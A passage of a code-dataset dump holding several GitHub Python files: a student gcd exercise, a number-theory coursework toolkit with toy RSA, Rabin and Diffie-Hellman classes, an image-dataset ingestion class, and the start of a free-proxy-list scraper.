instructions above.\ndef gcd(a, b):\n # TRYING TERNARY OPERATORS--THIS DIDN'T WORK\n # d = 0\n # while is_even(a) and is_even(b):\n # a = a / 2\n # b = b / 2\n # d = d + 1\n # while a != b:\n # a = a / 2 if is_even(a) else b = b / 2 if is_even(b) else a = (a - b) / 2 if a > b else b = (b - a) / 2\n # ALTERNATELY===\n # a = a / 2 if is_even(a) else (a - b) / 2\n # b = b / 2 if is_even(b) else (b - a) / 2\n # ===\n # g = a\n # return g * 2**d\n\n # TRYING A TUPLE WITH TERNARY OPERATORS\n counter = 0\n while is_even(a) and is_even(b):\n a = a / 2\n b = b / 2\n counter += 1\n ab_tuple = (a, b)\n while a != b:\n while is_even(a) or is_even(b):\n ab_tuple = (a/2, b/2) if is_even(a) and is_even(b) else (a/2, b) if is_even(a) \\\n and not is_even(b) else (a, b/2) if not is_even(a) and is_even(b) else (a, b)\n a = ab_tuple[0]\n b = ab_tuple[1]\n ab_tuple = ((a-b)/2, b) if a > b else (a, (b-a)/2)\n a = ab_tuple[0]\n b = ab_tuple[1]\n return a * 2**counter\n\n # ORIGINAL\n # counter = 0\n # while is_even(a) and is_even(b):\n # a = a / 2\n # b = b / 2\n # counter += 1\n # while a != b:\n # if is_even(a):\n # a = a / 2\n # elif is_even(b):\n # b = b / 2\n # elif a > b:\n # a = (a - b) / 2\n # else:\n # b = (b - a) / 2\n # g = a\n # return g * 2**counter\n","repo_name":"Momentum-PT-Team-3/python-problem-set-1-arieljsmith","sub_path":"problem_set_1.py","file_name":"problem_set_1.py","file_ext":"py","file_size_in_byte":7125,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"28627058785","text":"import random \nfrom collections import Counter\nimport time\nimport math\nfrom functools import wraps\nimport json\n# =====================================================================================\n# 注释掉两条分割线之间的东西来使用\n\n\n# import numpy as np \n# import torch\n# from torch import nn\n# import pandas as pd\n# import click\n# # import time\n# # from functools import wraps\n\n\n# # 当我对func函数装饰的时候,自然需要传入func作为实参\n# # @add_time 等价于 add_time(func),因此我有一个新的函数g接住add_time的返回值,这里假设返回的函数是wrap_func\n# # 当我执行g的时候,实际上执行的是wrap_func,而执行wrap_func实际上主体在执行func,因此wrap_func的参数需要传func的参数\n# def add_time(func):\n# # 这个wraps是固定写法,为了函数文档和函数名字的不变\n# @wraps(func)\n# def wrap_func(*args,**kwds):\n# s = time.time()\n# # 这是我的函数的主体部分,我希望在前后加上一些东西\n# ans = func(*args,**kwds)\n# e = time.time()\n# print(f'Time for {func.__name__} is {e - s}s')\n# return ans\n# return wrap_func\n\n\n\n# class BatchNorm(nn.Module):\n# '''\n# input X is (B,C,H,W)\n# '''\n# def __init__(self):\n# super().__init__()\n\n# def forward(self,X):\n# return (X - X.mean(dim=(0,2,3),keepdim=True)) / X.std(dim=(0,2,3),keepdim=True)\n\n# class LayerNorm(nn.Module):\n# '''\n# input X is (B,C,H,W)\n# '''\n# def __init__(self):\n# super().__init__()\n\n# def forward(self,X):\n# return (X - X.mean(dim=(1,2,3),keepdim=True)) / X.std(dim=(1,2,3),keepdim=True)\n\n# class InstanceNorm(nn.Module):\n# '''\n# input X is (B,C,H,W)\n# '''\n# def __init__(self):\n# super().__init__()\n\n# def forward(self,X):\n# return (X - X.mean(dim=(2,3),keepdim=True)) / X.std(dim=(2,3),keepdim=True)\n\n\n# def shape_conv(h,h_k,stride,padding):\n# return int((h - h_k + stride + 2 * padding) / stride)\n\n# def shape_trans_conv(h,h_k,stride,padding,out_padding=0):\n# \"\"\"\n# H_out = (H_in - 1)*stride - 2*padding + kernel_size + out_padding\n# If we choose stride = 2,kernel_size = 2 and both padding are 0\n# Then the H and W are doubled\n# \"\"\"\n# return int(\n# (h - 1) * stride - 2 * padding + h_k + out_padding\n# )\n\n\n# def draw_table(m,mode):\n# \"\"\"\n# mode = 'add' or 'mul'\n# \"\"\"\n\n# sheet = np.zeros((m,m))\n# if mode == 'add':\n# for i in range(m):\n# for j in range(m):\n# sheet[i,j] = (i + j) % m\n# else:\n# for i in range(m):\n# for j in range(m):\n# sheet[i,j] = (i * j) % m\n\n# ans = pd.DataFrame(sheet)\n# ans.to_excel(f'm={m}_mode={mode}.xlsx')\n\n# class PixelNorm(nn.Module):\n# def __init__(self):\n# super(PixelNorm,self).__init__()\n \n# def forward(self,X):\n# tmp = X * X\n# return X / torch.sqrt(tmp.sum(dim=1,keepdim=True))\n\n# class Maxout(nn.Module):\n# def __init__(self,num_in,num_out,pieces):\n# super(Maxout,self).__init__()\n# self.W = nn.Parameter(torch.randn(num_in,num_out,pieces))\n# self.b = nn.Parameter(torch.randn(num_out,pieces))\n# def forward(self,X):\n# return torch.from_numpy(np.max(np.tensordot(X.detach().numpy(),self.W.detach().numpy(),axes=1) + self.b.detach().numpy(),axis=2))\n\n\n\n\n# =====================================================================================\n\n\n\ndef add_time(func):\n # 这个wraps是固定写法,为了函数文档和函数名字的不变\n @wraps(func)\n def wrap_func(*args,**kwds):\n s = time.time()\n # 这是我的函数的主体部分,我希望在前后加上一些东西\n ans = func(*args,**kwds)\n e = time.time()\n print(f'Time for {func.__name__} is {e - s}s')\n return ans\n return wrap_func\n\n\ndef __lcm(a:int,b:int) -> int:\n return a*b//gcd(a,b)\n\ndef lcm(*a):\n '''lcm(3,4,5,6,7)'''\n assert len(a) > 1,f'The number of input of function lcm must be bigger than 1'\n ans = __lcm(a[0],a[1])\n for item in a[2:]:\n ans = __lcm(ans,item)\n return ans\n pass\n\n\n\ndef __gcd(a,b):\n a = abs(a)\n b = abs(b)\n if a == 0:\n return b\n if b == 0:\n return a\n\n while a!=0 and b!=0:\n a,b = b,a%b\n\n if b == 0:\n return a\n if a == 0:\n return b\n \n\n\ndef gcd(*a):\n '''\n 求多个整数的最大公因数\n gcd(12,32,45,64)\n '''\n # for item in a:\n # if item == 1:\n # return 1\n # if len(a) == 2:\n # return __gcd(a[0],a[1])\n # else:\n # d = __gcd(a[0],a[1])\n # for i in range(2,len(a)):\n # d = __gcd(d,a[i])\n # if d == 1:\n # return d\n # return d\n l = len(a)\n assert l>1,f'The length of list should be bigger than 1'\n gcd = 1\n for i in range(l-1):\n x = abs(a[i])\n y = abs(a[i+1])\n while x!=0 and y!=0:\n x,y = y,x%y\n if x == 0:\n gcd = y\n else:\n gcd = x\n if gcd == 1:\n return gcd\n return gcd\n\n\ndef is_prime (n):\n n = int(n)\n if n == 1:\n return False\n\n if n > 1e6:\n return is_large_prime(int(n))\n upper = int(n ** 0.5)\n upper += 1\n for i in range(2,upper):\n if n % i == 0 :\n return False\n return True\n\n\ndef get_prime (N):\n '''获取前小于等于N的所有素数'''\n a = [True] * (N + 1)\n indices = list(range(2,N + 1))\n for index in indices:\n if not a[index]:\n pass \n else :\n i = 2\n while index * i <= N :\n a[i * index] = False \n i += 1\n ans = list(filter(lambda x:a[x],indices))\n return ans\n\n\ndef bezout(a,b):\n '''计算贝祖等式'''\n s2 = 0\n s1 = 1\n t2 = 1\n t1 = 0\n q = int(a / b)\n r2 = a % b\n r1 = b\n\n while r2 != 0:\n s2,s1 = -q * s2 + s1 , s2\n t2,t1 = -q * t2 + t1 , t2\n q = int(r1 / r2)\n r2,r1 = -q * r2 + r1 , r2\n return (s2,t2)\n\n\n\n\n# @add_time\ndef get_inverse(a,m):\n '''求解a模m的逆元'''\n tmp = bezout(a,m)[0]\n while tmp <= 0:\n tmp += m\n return tmp\n\n\ndef china_res(b:list,m:list):\n '''\n the first element of returned tuple is the ANS\\n\n the second element of returned tuple is the product of M_i\\n\n '''\n M = 1\n for item in m:\n M *= item\n \n ans = 0\n \n for i in range(len(m)):\n m_i = m[i]\n M_i = int(M / m_i)\n M_i_inverse = get_inverse(M_i,m_i)\n ans += int(b[i] * M_i * M_i_inverse)\n \n # ans %= M\n ans = ans % M\n # print(ans)\n # print(M)\n return (ans,M)\n\ndef ten2two(n:int,total_bits:int=8):\n '''n should be positive'''\n sign = (n >= 0)\n n = abs(n)\n tmps = []\n while n != 0:\n tmps.append(int(n&1))\n n >>= 1\n tmps.append(0)\n if not sign:\n for i in range(len(tmps)):\n tmps[i] = 1 if tmps[i] == 0 else 0\n tmps[0] += 1\n for i in range(len(tmps)):\n if tmps[i] == 2:\n tmps[i] = 0\n if i < len(tmps) - 1:\n tmps[i + 1] += 1\n else:\n tmps.append(1)\n tmps = tmps[::-1]\n tmps = ''.join(str(item) for item in tmps)\n tmps = tmps[0] + tmps[0]*(total_bits - len(tmps)) + tmps[1:] if total_bits >= len(tmps) else tmps[len(tmps) - total_bits:]\n return tmps\n\n\ndef euler_function(n:int):\n '''求n的欧拉函数phi(n)'''\n N = n\n primes = get_prime(n)\n p_set = []\n for p in primes:\n while n % p == 0:\n n /= p\n p_set.append(p)\n p_set = set(p_set)\n ans = N\n for p in p_set:\n ans *= (1 - 1/p)\n return int(ans)\n\n\ndef solve_foce(a:int,b:int,m:int):\n '''\n solve_first_order_congruence_equation\n return value is a tuple\n the first element of tuple is constant\n the second element of tuple is the coefficient of t\n '''\n gcd_a_m = gcd(a,m)\n a1 = get_inverse(int(a/gcd_a_m), int(m/gcd_a_m))\n a2 = b / gcd_a_m * a1\n a2 = int(a2)\n return (a2,int(m/gcd_a_m))\n\n\n\n# @add_time\ndef fast_power(base:int,power:int,m:int) -> int:\n '''\n return base^power mod m\n '''\n ans = 1\n while power != 0:\n if power & 1:\n ans = ans * base % m\n base = base * base % m\n power >>= 1\n return ans \n\ndef get_all_factors(n:int):\n '''获取n所有的因数'''\n s = set()\n for i in range(1,int(math.sqrt(n) + 1)+1):\n if n % i == 0:\n s.add(i)\n s.add(n // i)\n return s\n\n\ndef factor(n:int):\n '''\n factor(n)\n 对n进行素因数分解\n 算数基本定理进行分解\n '''\n l = []\n target = int(math.sqrt(n)) + 1\n for i in range(2,target+1):\n while n % i == 0:\n n = n // i\n l.append(i)\n if n != 1:\n l.append(n)\n return dict(Counter(l))\n\ndef euler_judge(a:int,p:int):\n '''判断a是不是模p的平方剩余'''\n ans = fast_power(a,(p-1)//2,p)\n return ans if ans==1 else ans - p\n\ndef legendre(a:int,p:int):\n '''计算勒让德符号(a/p)'''\n if a % p == 0:\n return 0\n return euler_judge(a,p)\n\ndef theorem_4_3_4(a,p):\n if a == 2:\n return (-1) ** ((p**2-1)/8)\n elif gcd(a,2*p) == 1:\n tmp = 0\n for k in range(1,(p-1)//2 + 1):\n tmp += int(a*k/p)\n return (-1) ** tmp\n else:\n print(f'gcd(a,2p) != 1')\n\n\ndef m2m(m,e,b):\n '''\n return m^e % b\n '''\n result=1\n m1=m\n while(e>=1):\n e1=e%2\n if(e1==1):\n result=(m1*result)%b\n m1=(m1**2)%b\n e=e//2\n return int(result)\n\n# class RSA():\n# @staticmethod\n# def hello_static():\n# print(f'This is {RSA.__name__} static method!')\n\n# @classmethod\n# def hello_class(cls):\n# print(f'This is {RSA.__name__} class method!')\n\n# def __init__(self,p=19260817,q=19260817):\n# self.p = p\n# self.q = q\n# self.n = p * q\n# self.phi = (self.p -1) * (self.q -1)\n# self.e = random.randint(2,self.phi)\n# while gcd(self.e,self.phi) != 1:\n# self.e = random.randint(2,self.phi)\n# self.d = get_inverse(self.e,self.phi)\n# self.char_to_index = {}\n# self.index_to_char = {}\n# self.set_char()\n \n# def __func(self,num):\n# if num < 10:\n# return '0' + str(num)\n# else :\n# return str(num)\n \n# def set_char(self,char_set = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + ' ,.?!' + '0123456789'):\n \n \n# self.char_set = char_set\n# indices = [self.__func(i) for i in range(len(self.char_set))]\n# self.char_to_index = {k:v for k,v in zip(self.char_set,indices)}\n# self.index_to_char = {k:v for v,k in self.char_to_index.items()}\n\n\n# def digitalize(self,m):\n# if not isinstance(m,str):\n# m = str(m)\n# ans = []\n# for item in m:\n# ans.append(self.char_to_index.get(item))\n# return ''.join(ans)\n \n# def dedigitalize(self,c):\n# if not isinstance(c,str):\n# c = str(c)\n# ans = []\n# for i in range(0,len(c),2):\n# ans.append(self.index_to_char.get(c[i] + c[i+1]))\n# return ''.join(ans)\n \n# def lock(self,m):\n# if not isinstance(m,int):\n# m = int(m)\n# c = m2m(m,self.e,self.n)\n# return c\n\n# def unlock(self,c):\n# if not isinstance(c,int):\n# c = int(c)\n# m = m2m(c,self.d,self.n)\n# return m\n \ndef two2ten(n:str)->int:\n n = list(n)[::-1]\n ans = 0\n for index in range(len(n)):\n ans += int(n[index]) * 2**index\n return ans\n\n\ndef func(n:str):\n k,n = n.split('.')\n base = 10 ** (len(n))\n n = int(n)\n count = 0\n ans = []\n for i in range(40):\n n *= 2\n ans.append(int(n // base))\n count += 1\n if count == 4:\n ans.append(' ')\n count = 0\n n = n % base\n if n == 0:\n break\n weishu = ''.join(str(item) for item in ans)\n\n return k + '.' + weishu\n\ndef jianfa(a:str,b:str):\n '''二进制减法 a需要比b大'''\n A = [0] * len(a)\n B = [0] * len(b)\n for i in range(len(a)):\n A[i] = int(a[i])\n for i in range(len(b)):\n B[i] = int(b[i])\n a = A\n b = B\n a = a[::-1]\n b = b[::-1]\n for index in range(len(b)):\n a[index] -= b[index]\n for index in range(len(a)):\n while a[index] < 0:\n a[index] += 2\n a[index + 1] -= 1\n a = a[::-1]\n return ''.join(str(item) for item in a)\n\ndef get_quadratic_residue(m:int):\n '''获取模m的二次剩余'''\n ans = set()\n for x in range(m):\n a = x**2 % m\n if gcd(a, m) == 1:\n ans.add(a)\n return ans\n\ndef theorem_4_6_3(a:int,p:int):\n '''课本149页的定理4.6.3'''\n assert p%2==1 and is_prime(p),f'p={p} is not an odd prime number!'\n \n t = int(factor(p-1).get(2,0))\n s = (p-1) // 2**t\n a_inverse = get_inverse(a,p)\n\n while True:\n n = random.randint(1,p)\n if gcd(n,p) == 1 and legendre(n,p) != 1:\n break\n b = fast_power(n,s,p)\n ans = [0] * t\n ans[-1] = fast_power(a,(s+1)//2,p)\n for index in range(t-2,-1,-1):\n flag = fast_power((a_inverse * ans[index + 1]**2),2**(index),p)\n if flag % p == 1:\n j = 0\n else:\n j = 1\n ans[index] = (ans[index + 1] * b**(j * 2**(t - index - 2))) % p\n return ans[0]\n\ndef theorem_4_6_2(a:int,p:int,q:int):\n '''solve this : x^2 mod p*q = a'''\n assert is_prime(p) and (p+1) % 4 == 0,f'You cannot use theorem_4_6_2 because p={p} is not prime like 4k+3'\n assert is_prime(q) and (q+1) % 4 == 0,f'You cannot use theorem_4_6_2 because q={q} is not prime like 4k+3'\n assert legendre(a,p)==1, f'You cannot use theorem_4_6_2 because p={p} does not satisfiy legendre'\n assert legendre(a,q)==1, f'You cannot use theorem_4_6_2 because q={q} does not satisfiy legendre'\n\n s,t = bezout(q,p)\n s,t = s*q,t*p\n s1 = fast_power(a,(p+1)//4,p)\n t1 = fast_power(a,(q+1)//4,q)\n ans = [0] * 4\n ans[0] = s1*s + t1*t\n ans[1] = -s1*s + t1*t\n ans[2] = s1*s - t1*t\n ans[3] = -s1*s - t1*t\n for index in range(len(ans)):\n ans[index] %= (p*q)\n return tuple(ans)\n\n\n# @click.command()\n# @click.option('--a',type=int)\n# @click.option('--m',type=int)\ndef enumerate_quadratic(a,m):\n '''暴力求解x^2 mod m == a'''\n ans = []\n for x in range(m):\n if x**2 % m == a:\n ans.append(x)\n print(ans)\n return tuple(ans)\n\nclass Rabin():\n def __init__(self,p=19260803,q=19260767):\n self.p = p\n self.q = q\n self.n = self.p * self.q \n self.charset = ' ,.?!' + '0123456789' + 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz'\n self.char_to_index = {\n char:index + 12345678 for index,char in enumerate(self.charset)\n }\n self.index_to_char = {\n index:char for char,index in self.char_to_index.items()\n }\n self.group_len = 16\n def lock(self,m):\n cypertext = ''\n m = str(m)\n for char in m:\n index = self.char_to_index[char]\n c = str(fast_power(index,2,self.n))\n c = '0'*(self.group_len - len(c)) + c\n cypertext += c\n return cypertext\n\n def unlock(self,c):\n c = str(c)\n m = ''\n for index in range(0,len(c),self.group_len):\n c_single = int(c[index:index+self.group_len])\n c_num = theorem_4_6_2(c_single,self.p,self.q)\n for num in c_num:\n if num < 1e9:\n m += self.index_to_char[num]\n break\n\n return m\n\n\ndef theorem_4_7_1(p:int):\n '''\n 课本P159定理4.7.1\n 求解x^2 + y^2 = p\n p = 2 or p = 4k + 1\n '''\n assert p==2 or p%4==1 ,'p != 2 or p is not like 4k + 1'\n x = theorem_4_6_3(-1,p)\n y = 1\n m = (x**2 + y**2)//p\n while m != 1:\n u = x % m \n v = y % m\n x,y = (u*x + v*y)//m , (u*y - v*x)//m\n m = (x**2 + y**2) //p\n return x,y\n\ndef get_exp(a,m):\n '''获得a模m的指数e'''\n assert gcd(a,m) == 1,f'gcd({a},{m})不是1,不满足指数的条件!'\n i = 1\n while fast_power(a,i,m) != 1:\n i += 1\n return i\n\ndef is_primitive_root(a:int,m:int):\n '''判断a是不是模m原根'''\n assert gcd(a,m) == 1,f'a = {a} , m = {m} 并不互素,不满足原根或指数的判断条件!'\n flag = True\n phi = euler_function(m)\n e = get_exp(a,m)\n return e == phi\n pass\n\n\ndef get_prime_factors(n):\n '''获取n所有的素因子'''\n l = list(factor(n).keys())\n return l\n\n\ndef get_primitive_root(n):\n '''求n的原根'''\n # assert is_prime(n) and n != 2,f'{n} is not odd prime number!'\n if is_prime(n) and n != 2:\n l = get_prime_factors(n-1)\n l = list(map(lambda x:(n-1)//x,l))\n ans = []\n for g in range(2,n):\n if gcd(g,n) != 1:\n continue\n flag =True\n for index in l:\n if fast_power(g,index,n) == 1:\n flag = False\n break\n if flag:\n ans.append(g)\n return ans\n else:\n print(f'm = {n} is not odd prime number, so using enumerate to get all primitive roots of m = {n}')\n ans = []\n for i in range(1,n):\n try:\n if is_primitive_root(i,n):\n ans.append(i)\n except AssertionError:\n pass\n return ans\n pass\n \n\n\nclass RSA():\n def __init__(self):\n super().__init__()\n self.p = get_large_prime()\n self.q = get_large_prime()\n self.n = self.p * self.q\n self.len = len(str(self.n))\n self.phi = (self.p-1) * (self.q-1)\n # self.bias = 132435343242330\n # self.charset = '0123456789' + 'abcdefghijklmnopqrstuvwxyz' + 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + ',.?><[]*%_@{#} \\\\!/:\\n()+-=\\'\"'\n # self.index_to_char = {\n # index + self.bias :char for index,char in enumerate(self.charset)\n # }\n # self.char_to_index = {\n # char : index for index,char in self.index_to_char.items()\n # }\n \n self.e = random.randint(2,self.phi)\n while gcd(self.e,self.phi) != 1:\n self.e = random.randint(2,self.phi)\n self.d = get_inverse(self.e,self.phi)\n\n def lock(self,m):\n m = str(m)\n tmp = []\n for char in m:\n # tmp.append(self.char_to_index[char])\n tmp.append(ord(char))\n c = []\n for char in tmp:\n char = int(char)\n c_tmp = str(fast_power(char,self.e,self.n))\n c_tmp = '0'*(self.len - len(c_tmp)) + c_tmp \n c.append(c_tmp)\n return ''.join(c)\n \n def unlock(self,c,use_china_res=False):\n if not use_china_res:\n c = str(c)\n m = []\n for i in range(0,len(c),self.len):\n c_char = int(c[i:i+self.len])\n c_char = fast_power(c_char,self.d,self.n)\n # c_char = self.index_to_char[c_char]\n c_char = chr(c_char)\n m.append(str(c_char))\n return ''.join(m)\n else:\n # count = 0\n c = str(c)\n m = []\n for i in range(0,len(c),self.len):\n print(f'Decoding No.{i} char...')\n c_char = int(c[i:i+self.len])\n # c_char = fast_power(c_char,self.d,self.n)\n b1 = fast_power(c_char,self.d,self.p)\n b2 = fast_power(c_char,self.d,self.q)\n c_char = china_res([b1,b2],[self.p,self.q])[0]\n # c_char = self.index_to_char[c_char]\n c_char = chr(c_char)\n m.append(str(c_char))\n return ''.join(m)\n \n\nclass DH():\n def __init__(self):\n super().__init__()\n self.p = 353\n gs = get_primitive_root(self.p)\n index = random.randint(0,len(gs))\n self.g = gs[index]\n self.sk = 233\n self.pk = fast_power(self.g,self.sk,self.p)\n def change(self,pk_2):\n self.sk = fast_power(pk_2,self.sk,self.p)\n\n\ndef is_large_prime(n:int,k:int=4):\n '''\n Use Miller-Rabin method to judge whether number n is a large prime number.\\n\n k in the safe coefficient and when k = 4(default), the accuracy is bigger than 99.99%.\\n\n '''\n if n == 1 or (n & 1) == 0:\n return False\n if n == 2:\n return True\n t = n - 1\n s = 0\n while (t & 1) == 0:\n # t = t >> 1\n t >>= 1\n s += 1\n\n for _ in range(k):\n b = random.randint(2,n)\n while gcd(b,n) != 1:\n b = random.randint(2,n)\n # r = 0\n index = fast_power(b,t,n)\n\n # r = 0\n if index == 1 or index == (n-1):\n continue\n \n flag = False\n for r in range(1,s):\n index = (index**2) % n\n if index == 1:\n return False\n if index == (n-1):\n flag = True\n if flag:\n break\n if flag:\n continue\n else:\n return False\n return True\n\ndef get_large_prime(low:int=2**100,high:int=2**200,k:int=4):\n '''\n Use Miller-Rabin method to find a large prime number.\\n\n Please make sure the difference between low and high is sufficiently big.\\n\n k in the safe coefficient and when k = 4(default), the accuracy is bigger than 99.99%.\\n\n '''\n while True:\n n = random.randint(low,high)\n if is_large_prime(n,k):\n return n\n\n\ndef lian_fen_shu(x,K:int=10):\n '''\n 构造简单的连分数\\n\n x是需要计算的数字\\n\n K是迭代次数 默认是10\\n\n 返回一个元组:第1个元素是近似值,第2个元素是连分数,是一个list\\n\n '''\n tmps = []\n a = math.floor(x)\n x = x - a\n k = 0\n tmps.append(a)\n while x != 0 and k < K:\n a = math.floor(1 / x)\n x = 1/x - a\n tmps.append(a)\n k += 1\n tmps = tmps[::-1]\n ans = tmps[0]\n for index in range(1,len(tmps)):\n ans = 1/ans + tmps[index]\n # print(tmps[::-1])\n return ans,tmps[::-1]\n\n\n\nclass Fenshu():\n def __init__(self,num=1,den=1):\n '''num是分子默认为1\\nden是分母默认为1\\n'''\n super().__init__()\n self.num = int(num)\n self.den = int(den)\n \n def add(self,y):\n num = self.num * y.den + self.den * y.num\n den = self.den * y.den\n tmp = gcd(num,den)\n num //= tmp\n den //= tmp\n return Fenshu(num,den)\n \n def sub(self,y):\n num = self.num * y.den - self.den * y.num\n den = self.den * y.den\n tmp = gcd(num,den)\n num //= tmp\n den //= tmp\n return Fenshu(num,den)\n \n def mul(self,y):\n num = self.num * y.num\n den = self.den * y.den\n tmp = gcd(num,den)\n num //= tmp\n den //= tmp\n return Fenshu(num,den)\n \n def inv(self):\n return Fenshu(self.den,self.num)\n \n def div(self,y):\n return self.mul(y.inv())\n\n def display(self):\n return self.num,self.den\n \n def xiaoshu(self):\n return self.num / self.den\n\n def to_lianfenshu(self):\n '''转换成连分数的形式\\n如果这个分数是负数,会被转换成正数来进行操作\\n'''\n ans = []\n num = abs(self.num)\n den = abs(self.den)\n zhengshu = num // den\n xiaoshu = Fenshu(num - zhengshu * den,den)\n ans.append(zhengshu)\n while xiaoshu.num != 0:\n xiaoshu = xiaoshu.inv()\n zhengshu = xiaoshu.num // xiaoshu.den\n xiaoshu = Fenshu(xiaoshu.num - zhengshu * xiaoshu.den, xiaoshu.den)\n ans.append(zhengshu)\n return ans\n\n\n\ndef lianfenshu_to_float(X:list):\n '''从一个list的连分数转换成分子/分母\\n'''\n X = [Fenshu(x) for x in X]\n ans = X[-1]\n X = X[0:-1][::-1]\n for x in X:\n ans = ans.inv().add(x)\n return ans.display(),ans.xiaoshu()\n\n\n\nif __name__ == '__main__':\n # n = 2**257 - 1\n # n = 19260817\n # for p in [89,107]:\n # n = 2**p - 1\n # print(f'p = {p} , n = {n} , {is_large_prime(n)}')\n # print(gcd(12,10,6,4,6454))\n\n\n # d = DH()\n # d.change(40)\n # a = 61\n # print(get_primitive_root(a))\n # print(is_large_prime(2**67 - 1))\n # n = 2**257 - 1\n # s = 1\n # t = (n-1) // (2**s)\n # print(fast_power(3,t,n))\n\n\n # print(lian_fen_shu(math.pi,10) )\n # with open('ans.json','w',encoding='utf8') as f:\n # ts = [(20210520,113),(210520,191)]\n # ANS = {}\n # for index,t in enumerate(ts):\n # ans = {}\n # a,b = t\n # ans['a'] = a\n # ans['b'] = b\n # ans['连分数'] = lian_fen_shu(a/b,100)[1]\n # # print(lian_fen_shu(a/b,100))\n # # print(bezout(a,b))\n # ans['a的系数'],ans['b的系数'] = bezout(a,b)\n # ANS[index] = ans\n # json.dump(ANS,f,ensure_ascii=False)\n\n # r = RSA()\n # text = ''\n # with open('out.txt','r',encoding='utf8') as f:\n # text = f.read()\n # c = r.lock(text)\n # print(c)\n # with open('cipher_text.txt','w+') as f:\n # f.write(c)\n # print()\n # print(r.unlock(c,False))\n\n\n # all = 0\n # true = 0\n # for n in range(100000):\n # if is_large_prime(n):\n # all += 1\n # if is_prime(n):\n # true += 1\n # print(true / all)\n\n # a = get_large_prime()\n # print(a,get_prime_factors(a))\n pi = [3,7,15,1,293,10,3,8,2,1,3,11,1,2,1,2,1]\n ans = lianfenshu_to_float(pi)\n num = ans[0][0]\n den = ans[0][1]\n print(ans)\n print(pi)\n print(Fenshu(num,den).to_lianfenshu())\n print(Fenshu(22,7).xiaoshu())\n\n\n # a = Fenshu(1,3)\n # b = Fenshu(2,5)\n # c = a.div(b)\n # print(c.display())\n\n \n\n # ms = [5,6,7]\n # m = 1\n # for _ in ms:\n # m *= _\n # Ms = list(map(lambda x:m//x,ms))\n # for Mi,mi in zip(Ms,ms):\n # print(f'{m}/{mi}={Mi}模{mi}逆元是{get_inverse(Mi,mi)}')\n\n\n pass\n\n # for n in [191,191**2,113,113*9]:\n # for b in [2,3,5,7]:\n # print(f'n = {n} , b = {b} , mod = {fast_power(b,n-1,n)}')\n\n# a = [3,1,1,2,3,1,1]\n# a = a[::-1]\n# ans = a[0]\n# for i in range(1,len(a)):\n# ans = 1/ans + a[i]\n# print(ans - 7700/2145)\n\n\n# a = 1\n# for i in range(10000):\n# a = 1/a + 1\n# print(a - (5**0.5+1)/2)","repo_name":"zerzerzerz/xinanshuji","sub_path":"tools.py","file_name":"tools.py","file_ext":"py","file_size_in_byte":26851,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"24042276584","text":"from FarmInsectsClassifier.entity.config_entity import DataIngestionConfig\nfrom FarmInsectsClassifier.logger import logging\nfrom FarmInsectsClassifier.exception import DataIngestionError\n\nfrom pathlib import Path\nfrom zipfile import ZipFile\nimport splitfolders\n\nclass DataIngestion:\n def __init__(self, data_path: Path, config: DataIngestionConfig):\n self.data_path = data_path\n self.config = config\n\n def unzip(self) -> None:\n \n unzip_path = self.config.unzip_dir\n unzip_path.mkdir(exist_ok=True, parents=True)\n\n logging.info(\"Extracting zip file\")\n\n with ZipFile(self.data_path, \"r\") as zip_ref:\n zip_ref.extractall(unzip_path)\n\n logging.info(\"Zipfile extraction completed\")\n\n \n\n\n def split_data(self) -> None:\n \n path = list(self.config.unzip_dir.resolve().iterdir())[0]\n output = self.config.unzip_dir / \"farm-insects-splitted\"\n\n logging.info(\"Splitting folder into train, test and validation set\")\n\n splitfolders.ratio(path, seed=1, output=str(output), ratio=(0.6, 0.2, 0.2))\n\n logging.info(\"Train, test and validation data successfully created\")\n\n \n","repo_name":"yickysan/Farm-Insects-Classification","sub_path":"src/FarmInsectsClassifier/components/data_ingestion.py","file_name":"data_ingestion.py","file_ext":"py","file_size_in_byte":1188,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"40864339359","text":"from collections import namedtuple, defaultdict\nimport requests\nimport itertools\nfrom bs4 import BeautifulSoup\nfrom datetime import datetime\nimport shelve\nimport warnings\nfrom concurrent.futures import ThreadPoolExecutor\n\n\nfrom .config import CACHE_PATH\nfrom .exceptions import PageServerDown\n\n\nclass Proxy:\n\n\t__slots__ = ('ip', 'port', 'type', 'anonymous', 'speed', 'time_since_last_check')\n\n\tdef __init__(self, ip, port, type, anonymous, speed, time_since_last_check):\n\t\tself.ip = ip\n\t\tself.port = port\n\t\tself.type = type\n\t\tself.anonymous = anonymous\n\t\tself.speed = speed\n\t\tself.time_since_last_check = time_since_last_check\n\n\tdef to_string(self):\n\t\treturn '{}:{}'.format(self.ip, self.port)\n\n\t__repr__ = __str__ = to_string\n\n\tdef __eq__(self, other):\n\t\treturn self.to_string() == other.to_string()\n\n\tdef __hash__(self):\n\t\treturn hash(self.to_string())\n\n\ndef parse_page(url):\n\t\"\"\" Parse a single html page on https://www.xicidaili.com to get a list of proxies \"\"\"\n\tnow = datetime.today()\n\n\theaders = headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}\n\tpage = requests.get(url, headers=headers)\n\tif page.status_code != 200:\n\t\twarnings.warn('{} could not be connected at the moment'.format(url))\n\t\t# raise PageServerDown('{} could not connect'.format(url))\n\tsoup = BeautifulSoup(page.text, 'lxml')\n\n\tproxies = list()\n\tfor row in soup.find_all('tr'):\n\t\tcols = row.find_all('td')\n\t\tif len(cols) == 10:\n\t\t\tspeed = cols[6].find(class_='bar_inner').attrs['style'] # width:99%\n\t\t\tspeed = float(''.join(filter(lambda x: x.isdigit(), speed)))\n\n\t\t\tlast_check_time = datetime.strptime(cols[-1].text.strip(), '%y-%m-%d %H:%M')\n\t\t\ttime_since_last_check = (now - last_check_time).seconds\n\n\t\t\tp = Proxy(ip=cols[1].text, \n\t\t\t\t\tport=cols[2].text, \n\t\t\t\t\ttype=cols[5].text, \n\t\t\t\t\tanonymous=(cols[4].text=='高匿'), 